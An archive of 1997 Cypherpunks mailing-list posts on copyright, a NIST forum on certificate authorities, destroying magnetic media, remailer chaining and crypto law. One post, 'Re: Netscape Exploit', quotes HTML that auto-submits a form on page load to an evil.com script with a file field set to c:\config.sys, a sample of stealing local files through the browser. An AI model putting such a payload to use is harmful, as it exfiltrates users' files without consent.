Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 06:49:44 +0800
To: cypherpunks@toad.com
Subject: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707012155.XAA06734@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
 
> I don`t believe in copyright in general, but I would be perfectly happy
> to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically
> mailing a copy like this is more risky for the US Cpunk. I don`t believe
> in ripping people off, and rarely copy copyrighted material, but I don`t
> hold with copyright laws and see nothing wrong with this being posted.

 Copyright is for the purpose of people with ideas being financially
rewarded in the same manner as those who manifest those ideas in
the physical sphere (via print, recordings, machines, etc).
 As a recording musician I expected to get money for my recordings,
just as everyone else in the chain of business did in making my
music available to the end-user. (And just as a grocer who makes
food available to his customers expects you to leave something in
the till on your way out of the store.)
 I have never had any problem with someone recording a copy of my
music from a purchased copy if they are a music lover with a thin
pocket, or can't readily purchase it. If someone with a $2000.00
stereo wants to enjoy the fruits of my labor without contributing
any money to my health and welfare, then I consider them to be just
another thief.

  The bottom line with the Crypto CD-ROM is that we should each
make an effort to support it at the level we are capable of,
in the interest of promoting strong cryto.
  Buy it, if at all possible. If you download a copy on the net
and can't afford $99.00, then send them $10.00, or $20.00, etc.
If you can't afford to send them a nickle, then do what you can
to promote their product. Provide pointers to their business,
tell people about their products, etc.
  People who will give ten or twenty dollars to a charity when
someone shows up at their door might use "shareware" for years
without taking the time and trouble to send the creator some
cash. Bottom line--take the time to recompense the vendor/creator
at the level you are able. 

  Technology may well enable us to take the product and give
nothing in return to those who made it available, but doing so
will not further our own beliefs and aims to any extent.
  If you just want to rip something off, go to the Whithouse,
rip off some silverware, and send it to Dr. Dobbs.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 2 Jul 1997 13:23:57 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970630111759.13667@bywater.songbird.com>
Message-ID: <199707020512.AAA01518@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> In "the real world" (tm by Kent Crispin), Paul, there isn`t anything

	If you have a trademark on it, that means you own it right? 

	Then can I sue you for deceptive marketing practices?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 2 Jul 1997 13:46:53 +0800
To: cypherpunks@toad.com
Subject: Re: Internet - Good & Bad [CNN]
In-Reply-To: <19970702034658.19497.qmail@squirrel.owl.de>
Message-ID: <199707020518.AAA09759@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970702034658.19497.qmail@squirrel.owl.de>, on 07/02/97 
   at 03:46 AM, Secret Squirrel <nobody@secret.squirrel.owl.de> said:


>Jim Choate wrote:

>> >    Time NEW YORK (CNNfn) - New technologies for video transmission over
>> >    the Internet, such as digital video discs (DVDs), represent remarkable

>The article lost credibility in the first sentence. Is that a record?

First sentence? First word did it for me :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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h96Wa2STCSzWqvXC6cyCdugTdzFecOUowDt3UfjMgOzPOzBdGz8jCQuiNkxAt/Gt
t6ionQfFBYD4ObDi8A+UQI/71Oq9k1VsbJhMLZr2FQfy90a1+3P20yqsNWQT7qgs
RQQl6z8GJMA=
=ZkZ6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 2 Jul 1997 12:41:41 +0800
To: cypherpunks@Algebra.COM
Subject: Public Forum on Certificate Authorities and Digital Signatures
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <3.0.3.32.19970702002232.03449c2c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



I did not see this on the list earlier, so I thought I'd post a copy.  This message says that the Executive Branch wants to know what we think about CA's, escrow, strong crypto, and other issues.

Anyone want to offer me a plane ticket to NIST in Gaithersburg, MD?

- ---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 10:36:44 -0400 (EDT)
From: Elizabeth Lennon <lennon@email.nist.gov>
To: Multiple recipients of list <itl-bulletin@nist.gov>
Subject: Announcement of Public Forum and Request for Comments

DEPARTMENT OF COMMERCE

Public Forum on Certificate Authorities and Digital Signatures:
Enhancing Global Electronic Commerce

AGENCY: Technology Administration, Commerce.

ACTION: Notice of public forum and request for public comments.

- -----------------------------------------------------------------------

SUMMARY: The Department of Commerce requests public comments on various
aspects of the public key infrastructure related to certificate
authorities and digital signatures. This request for public comment
will enable the Department, and other Executive Branch agencies, to
benefit from the expertise and views of the private sector, states,
localities, non-profits, industry associations and other national and
international entities. Specific questions that the Department seeks
public comments on are listed in ``Supplementary Information''. A
``Public Forum on Certificate Authorities and Digital Signatures:
Enhancing Global Electronic Commerce'' is being sponsored by the
Department on this topic. The comments received by the Department will
aid in effectively supporting Administration initiatives on electronic
commerce issues.

DATES: The ``Public Forum on Certificate Authorities and Digital
Signatures: Enhancing Global Electronic Commerce'' will be held on July
24, 1997, from 8:00 a.m. to 6:00 p.m.

Advanced registration for the ``Public Forum'' is due by July 16,
1997.

Written comments are due by July 16, 1997.

Requests to participate as a panelist in the ``Public Forum'' are
due by July 2, 1997.

ADDRESSES: The ``Public Forum on Certificate Authorities and Digital
Signatures: Enhancing Global Electronic Commerce'' will take place at
the Green Auditorium, Administration Building, National Institute of
Standards and Technology, Gaithersburg, Maryland.

Written comments should be sent to: Director, Information
Technology Laboratory, ATTN: ``Public Forum on Certificate Authorities
and Digital Signatures'', Technology Building, Room A231, National
Institute of Standards and Technology, Gaithersburg, MD 20899.

Electronic comments may be sent to ECFORUM@NIST.GOV. Electronic
comments should be in ASCII, MS word or WordPerfect formats. No
comments will be accepted by voice phone or by fax.

PUBLIC INFORMATION: The Department, based on comments received and
expressions of interest, will organize the Public Forum as a series of
panels, with short presentations and then a period for questions from
the audience. Not all issues included in this notice may be covered in
the public forum, and the Department may organize the program along
lines different than the questions are presented. Members of the public
who are interested in serving on a panel are asked to contact the
individual listed in FOR FURTHER INFORMATION CONTACT below. Due to time
and physical constraints, and in order to develop an effective program,
not all requests can be honored.

FOR FURTHER INFORMATION CONTACT: Mr. Edward Roback, Information
Technology Laboratory, National Institute of Standards and Technology,
Building 820, Room 426, Gaithersburg, MD 20899-0001. (301) 975-3696.

For planning purposes, advanced registration is requested by July
16, 1997. To register, please fax your name, postal address, telephone
and e-mail address to: 301-948-1233, ATTN: ``July 24 Public Forum''.
Space permitting, registration will also be available at the door. The
July 24th meeting is open to the public. There is no registration fee
for the Public Forum.

SUPPLEMENTARY INFORMATION: The ``Public Forum'' on Certificate
Authorities and Digital Signatures:

[[Page 31412]]

Enhancing Global Electronic Commerce'' will be held on July 24, 1997 at
the Green Auditorium, Administration Building, National Institute of
Standards and Technology, Gaithersburg, MD.

Copies of written submissions received by July 16, 1997, will be
made available at the Public Forum.

Issues for Public Comment and Themes of the Public Forum

The emergence of a public key infrastructure, and the demands of
global electronic commerce, have generated significant private sector
and governmental efforts to develop a reliable system of certificate
authorities that enable use of trustworthy digital signatures.

The Department of Commerce, and other Executive Branch agencies,
seek public comment on and are planning a Public Forum that encompasses
the following issues. By seeking comment from the varied parties and
interests, reflecting the many initiatives that are underway, the
Executive Branch will be better able to assess emerging initiatives on
digital signatures and certificate authorities; ensure that the federal
government's PKI activities take advantage of the latest developments
and directions in the private sector; and aid federal government
officials and industry representatives participating in domestic and
international fora on these issues.

    1. State government initiatives through ``digital signature laws.''
Some two dozen states have passed some form of ``digital signature
laws'' in the last two years. The Department encourages comments from
relevant state government agencies on the experiences and issues that
have arisen during the process of implementing these laws, including
the status of any registration of certificate authorities. Comments
that reflect the systematic aspects of digital signature laws are
especially encouraged. Comments are also encouraged by users and
stakeholders in the systems that result from passage of these ``digital
signature laws.''

    2. The evolving legal framework of certificate authorities and
digital signatures. A number of private sector efforts are underway to
examine and recommend changes to the legal and regulatory framework
that could contribute to a reliable system of certificate authorities.
The Department notes the efforts, among others, of the American Bar
Association (``Digital Signature Guidelines'') and the National
Commission on Uniform State Laws. The Department encourages comments
from all private sector efforts which are undertaking efforts in this
area.

    3. The technology and business challenges of certificate
authorities and digital signatures. In response to user demands, an
industry of certificate authorities is emerging. The Department seeks
comments from those entities that are offering services and
technologies that relate to issuing certificates and digital
signatures.

    4. User requirements and expectations. A multitude of sectors can
be expected to utilize a reliable system of certificate authorities and
digital signatures. The Department seeks comments from any and all
sectors that are developing performance requirements and user
expectations in this area. Comments are encouraged from non-profits and
governmental entities, as well as for-profit enterprises.

    5. An international perspective. A number of countries and
international fora are examining the issues of a reliable system of
certificate authorities and use of digital signatures. The Department
notes the activities of UNCITRAL, the OECD, as well as recent
developments in Germany, Japan, the European Union, etc. The Department
invites comments from international representatives on the issues
outlined in this notice and participation in the Public Forum.

Comments received in response to this notice will be made part of
the public record and will be available for inspection and copying in
the Central Reference and Records Inspection Facility, Room 6020,
Herbert C. Hoover Building, 14th Street between Pennsylvania and
Constitution Avenues, NW, Washington, DC 20230. The Department intends
to publish the proceedings of the Public Forum, and all public
comments, as soon as possible after the July 24th meeting.

Dated: June 3, 1997.

Mary L. Good,
Under Secretary of Commerce for Technology.
[FR Doc. 97-14991 Filed 6-6-97; 8:45 am]
BILLING CODE 3510-CN-M





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 12:14:25 +0800
To: cypherpunks@toad.com
Subject: Degaussing
Message-ID: <19970702021749.17094.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Could someone please point me to a FAQ or somesuch about degaussing
magnetic media? Thank you!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 09:11:33 +0800
To: cypherpunks@toad.com
Subject: C'punk elitists [was mailing list}
In-Reply-To: <199707011318.PAA01313@basement.replay.com>
Message-ID: <199707020023.CAA29587@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Such egotistical assholes!

One of the events which would most benefit security, privacy, and freedom on 
the Internet would be for the mass of AOL users to begin using it.

Don't I get sick of such elitist know-it-alls!

TruthMonger 26


At 03:18 PM 7/1/97 +0200, Anonymous wrote:
|When did it become acceptable to be so stupid???  How many systems-experts 
do you know who use
|AOL frequently.
|
|OOh...I forgot about that new section, PGP For Dummies...(chuckle)
|
|C
|
|
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7mdlIGXJpqxt6QJEQInKgCfV/VkoapnUDei8SIY/HSEegnMT0YAoOfy
DbCtdT0pwC8C7b8aofaW+X84
=vWQL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Wed, 2 Jul 1997 14:55:08 +0800
To: shamrock@netcom.com
Subject: Re: Degaussing
In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
Message-ID: <199707020629.CAA15333@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >Could someone please point me to a FAQ or somesuch about degaussing
> >magnetic media? Thank you!
> 
> Mini-FAQ:
> 1. How do I degauss magnetic media so that the feds can no longer read my
> data?
> 
> You don't. That's why the feds themselves don't degauss their magnetic
> media for declassification purposes. They remove the oxide layer. In case
> of floppies the preferred method is incineration, in case of hard drives,
> the usual technique is sandblasting.

	This may also have to do with the many documented instances when
federal hard drives, including some from NSA computers, were sold 
surplus unerased with significant sensitive information still intact on
them (I know personally of once such incident of many).

	Destroying the disks makes sure that they were, in fact,
rendered  unreadable and not just signed off on by some bored low paid
clerk charged with demilitizing them who didn't want to bother to figure
out how to erase them.  The problem here is that a destroyed disk is
obviously  unreadable to even the most dumb and unmotivated clerk with a
GED, while a merely erased disk looks just exactly like  one full of
sensitive information - actually verifying that the information is in
fact entirely gone requires a lot of technical skill and is subject to
all kinds of false positives (how about sectors that contained sensitive
stuff and then were later marked bad and swapped with alternates, for
example ? )

	I think all of us forget that the usual key to crypto protected
secrets is in the trash and surplus equipment and document disposal
practices of the target rather than advanced mathematics.   And most
technical people pay as little attention as they possibly can to what
happens with the old floppies left by Joe who quit to take a new job
or what happened to Sallie's old hard drive after she got the new 
computer, or whether the old backup tapes really are all fully accounted
for or were thrown out in the move...


	I applaud the government for forgoing a few dollars in residual
revenue by not selling old disks intact any more.

							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 12:20:39 +0800
To: cypherpunks@toad.com
Subject: Re: Internet - Good & Bad [CNN]
Message-ID: <19970702034658.19497.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

> >    Time NEW YORK (CNNfn) - New technologies for video transmission over
> >    the Internet, such as digital video discs (DVDs), represent remarkable

The article lost credibility in the first sentence. Is that a record?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 12:16:02 +0800
To: cypherpunks@toad.com
Subject: Re: Netscape Exploit
Message-ID: <199707020350.FAA24898@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> >Here is a sample it isn't complete but you get the basic idea of what is
> >going on
> ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
> >
> ><BODY onLoad="daForm.submit()">
> ><FORM
> >	NAME="daForm"
> >	ACTION="http://evil.com/cgi-bin/formmail.pl"
> >	METHOD=POST>
> >
> ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
> >Harddrive">
> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
> >
> >and so on and so forth...

So if someone was using Netscape to read mail, and I included a small bit
of HTML like the above, I could snarf up files out of everywhere?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pedro David Castanheira Polonia <deec1@tom.fe.up.pt>
Date: Wed, 2 Jul 1997 14:55:36 +0800
To: Coderpunks mailling list <coderpunks@toad.com>
Subject: a little problem...
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <Pine.OSF.3.96.970702072054.27491A-100000@tom.fe.up.pt>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

hi!
  here goes: i'm tring to put on our campus (my university) one machine to
make the gateway betwen radio amat. and the internet.. at the begining it
may be only e-mail, and web.
  I'm thinking in using a linux on a pentium, conected with one or two
baycom modem conected to the radio, and running a tcp packet radio
network. In the machine, i put squid, or other proxie server for web, a
pop mail and a connection to our moo (atlantis.fe.up.pt 7777).

  first problem: how to make the autentication ? every one in the the
packet radio network gets all packets... i was thinking in using secure
shell, but i only get one machine, and if i get, say, 15 users, i don't
get the cpu power to manage all that stuff.

  second problem: i want to gerate free acounts/free e-mails automatic for
the radio ham. where can i get all this software? BTW, i'm in europe,
portugal. anyone have any electronic hardware (not expensive), to speed up
the autentication (without fancy chips that nobody have ..) ?
   please reply to me with your sugestions, flames, etc
							cheers
							   Pedro
 --
			   ______________
 +------------------------/___________  /\------------------------------+
 |   Peace, love and      \  ________/ / /   "It is impossible to love  |
 | 8 hours of sleep! ;-)   \ \ \    / / /         and to be wise."      | 
 |                          \ \ \  / / /                Francis Bacon   |
 |    Pedro David Polonia    \ \ \/ / /                                 |
 |  Pgpfinger: 5E 98 1D 8D C1 \ \ \/ / E3 88 A1 1E EC 73 F9 88 2B 8F 64 |
 +-----------------------------\ \  /-----------------------------------+
			        \_\/ 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: free your mind...

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2zpKMlR2+ZBROTQCPiWtfVo9/IZeQCJYgI9dey5inL0xTh+egM5KcNpfn4Wsqp/d
R2QUKxpHPcc=
=+8jL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Jul 1997 22:56:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <19970702074006.19127@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 01, 1997 at 08:46:53PM -0700, Tim May wrote:
> 
> There's been an ongoing discussion of the Huge Cojones remailer situation
> on the related newsgroups.
> 
> This has a lot of relevance to our issues, and this is one of the more
> illuminating articles.
> 
> --Tim

This probably has been suggested 20 years ago, but wouldn't Jeff's
problem have been solved if the following slight modification were
made to the algorithm: If you are the last remailer in a chain, then
with probability p you pick another randomly choosen remailer to send
through.  If p is 1 end user mail would never come from you; if p is
0.5 then half the time you send the mail on one more step.  The end 
user, then, can never be sure of which remailer will ultimately 
deliver the message.

If all remailers used this algorithm it has the disadvantage that mail
could float for a very long, non-deterministic time in the network --
if p were globally 1/2, for example, then with probality 1/1024, a
message would float on for 10 more hops. 

But it has the advantage that the end user cannot pick which remailer
will ultimately deliver the message, thus making it much more
difficult to pick on a single remailer.  It makes annonymous mailing 
a less attractive service, since you introduce significant delays, 
and an increased probability of loss.  But maybe making anon 
remailing less attractive would be a good thing.

The non-deterministic retention time in the network could probably be
solved, but at the expense of some significant complexity.  I have 
not been able to think of a secure way to do it, however.  [If the 
remailers know and trust each other, the problem is easy.]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Jul 1997 20:57:12 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
Message-ID: <qoR89D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> media for declassification purposes. They remove the oxide layer. In case
> of floppies the preferred method is incineration, in case of hard drives,
> the usual technique is sandblasting.

5.25" floppies could be run via a shredder (a big one, not the puny little
thing I have at home) but 3.5" floppies would make almost any shredder choke.

Some large corporations sell their old floppies to China, where they're
supposedly recycled into magentic strips for credit cards.

Hmm...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 2 Jul 1997 20:39:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Liberating the Bits
In-Reply-To: <v03102801afdf55bc34b9@[207.167.93.63]>
Message-ID: <Pine.LNX.3.94.970702080935.29920B-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 1 Jul 1997, Tim May wrote:

> Technology liberates the bits.

Copyright law is not only useless on the net but inefficient; one need only
compare the performance of free, copylefted software versus proprietary,
closed software to see which is better. But now it is possible to apply the
same principle of copyleft to _all_ non-software information, too --
including text, images and music. I have done this myself with novels and
albums of music, and have posted full instructions on how to apply this to
non-software information at <http://dsl.org/copyleft/>.


m

Michael Stutz
stutz@dsl.org
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 2 Jul 1997 18:42:51 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <9707021020.AA54194@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> Could someone please point me to a FAQ or somesuch about degaussing
> magnetic media? Thank you!

I guess this is what you are looking for:

http://www.cs.auckland.ac.nz/~pgut001/secure_del.html 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Wed, 2 Jul 1997 23:43:29 +0800
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <9A131B1A13@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
-    update on Australia (Walsh report), Germany (Interior Ministry
     opinion), Sweden (IT commission report), US (government bill
     amended, Kerrey-McCain bill, SAFE act amended and passed House
     committees, czar travel FOIA request) 
-    clarification on Singapore (import, domestic), Japan (government cannot choose) 
-    URLs added to Belgium (law proposals), Canada (export), UK (cyber-rights report) 

Comments are as always welcomed.

Kind regards,
Bert-Jaap

---------------------------------------------------------------------
Bert-Jaap Koops                         tel     +31 13 466 8101
Center for Law, Administration and      facs    +31 13 466 8149
Informatization, Tilburg University     e-mail  E.J.Koops@kub.nl
                  --------------------------------------------------
Postbus 90153    |  This world's just mad enough to have been made  |
5000 LE Tilburg  |    by the Being his beings into being prayed.    |
The Netherlands  |                (Howard Nemerov)                  |
---------------------------------------------------------------------
         http://cwis.kub.nl/~frw/people/koops/bertjaap.htm
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 00:11:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <v03102800afe02a4159d2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:40 AM -0700 7/2/97, Kent Crispin wrote:

>This probably has been suggested 20 years ago, but wouldn't Jeff's
>problem have been solved if the following slight modification were
>made to the algorithm: If you are the last remailer in a chain, then
>with probability p you pick another randomly choosen remailer to send
>through.  If p is 1 end user mail would never come from you; if p is
>0.5 then half the time you send the mail on one more step.  The end
>user, then, can never be sure of which remailer will ultimately
>deliver the message.
...

This general sort of thing has been discussed...though not 20 years ago! :-0

I don't know about this particular mathematical algorithm, but things
generally like it.

Long before a remailer shuts down, he should certainly adopt a strategy
like this. Sending "his" traffic through randomly selected other remailers
is certainly an option. (Any remailer can at any point insert additional
hops, or even chains of hops, merely be addressing them correctly. Of
course, the "original" (which may not be the real original, of course, as
other remailers may have done the same thing) needs to "get back on track,"
else the decryptions won't work. But this is all a simple problem.

I don't know what gets discussed on the "remailer operators list," not
being on it, but it sure seems to me that remailers have stagnated, and
that some of the robust methods of reducing attacks on any particular
remailer are not being used.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 01:16:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702074006.19127@bywater.songbird.com>
Message-ID: <19970702100000.40925@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 11:53:56AM -0400, Ryan Anderson wrote:
> On Wed, 2 Jul 1997, Kent Crispin wrote:
> 
> > The non-deterministic retention time in the network could probably be
> > solved, but at the expense of some significant complexity.  I have 
> > not been able to think of a secure way to do it, however.  [If the 
> > remailers know and trust each other, the problem is easy.]
> 
> Remailers using this could be configured to not modify the "date" header
> until final delivery.  Then you can base the probablity of final delivery
> upon some function of date/time or another header
> "X-Remailer-Max-Delay-Time:"   If you're worried about traffic analysis,
> it is possible to randomly modify the date/time header by small amounts
> at each hop.  (This however only helps and somewhat loaded systems..)

The Evil One can always masquerade as the next to the last remailer, 
with suitably altered date fields or whatever.  I wasn't thinking in 
terms of traffic analysis -- I was thinking in terms of guaranteeing 
that the last remailer in the chain, the one that actually delivers 
the message, cannot be predicted in advance.

The current remailer algorithm allows an evil user to cause a 
particular remailer to be the source of Bad Stuff, which makes that 
remailer a target of those who don't like the Bad Stuff.  The basic 
problem is that the end user is able to specify the remailer chain.

[Digital postage can't do much to solve this problem, BTW.  The
offensiveness of a message is not measured by the postage.]

On the face of it, this seems like a relatively simple problem.  The 
current algorithm allows the end user to specify the final remailer 
-- change it so that the final remailer is not under the end user's 
control.  The problem is, how does the final remailer know whether it 
was chosen by the end user, or by another remailer who *used* to be the 
final.

Incidentally, another useful modification of having the final 
remailer forward one more time is this:

if( destination address is in my legal jurisdiction )then
	with higher probability forward to another randomly chosen remailer
else
	with lower probability forward to another remailer
endif

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 3 Jul 1997 01:17:09 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Degaussing
In-Reply-To: <v03007807afdfa4164e9d@[207.94.249.161]>
Message-ID: <Pine.GSO.3.96.970702100619.20299F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 1 Jul 1997, Bill Frantz wrote:

> 
> At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >>
> >>Could someone please point me to a FAQ or somesuch about degaussing
> >>magnetic media? Thank you!
> >
> >Electromagnetic pulse.  You want something as strong as possible.  About 10
> >megatons should generate a big enough pulse.
> 
> It works better if you also expose it to the heat and blast.  :-)
> 
> In all seriousness, complete physical destruction of the media is the only
> sure technique.  Lucky Green's sandblasting sounds like it should work
> well.  Melting it into slag should also work.

That reminds me...  I have some old drives I need to take down to the
shooting range.  (I want to make them an example to the other drives...)

Sounds like a Cypherpunk project to me. ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 00:05:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702074006.19127@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970702115120.26026B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Kent Crispin wrote:

> The non-deterministic retention time in the network could probably be
> solved, but at the expense of some significant complexity.  I have 
> not been able to think of a secure way to do it, however.  [If the 
> remailers know and trust each other, the problem is easy.]

Remailers using this could be configured to not modify the "date" header
until final delivery.  Then you can base the probablity of final delivery
upon some function of date/time or another header
"X-Remailer-Max-Delay-Time:"   If you're worried about traffic analysis,
it is possible to randomly modify the date/time header by small amounts
at each hop.  (This however only helps and somewhat loaded systems..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 07594284@juno.com
Date: Thu, 3 Jul 1997 01:23:49 +0800
To: ups@juno.com
Subject: special notice
Message-ID: <199703170025.GAA079@imsday.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 04:11:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <19970702125735.31906@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 09:00:04AM -0700, Tim May wrote:
> At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
> 
> >This probably has been suggested 20 years ago, but wouldn't Jeff's
> >problem have been solved if the following slight modification were
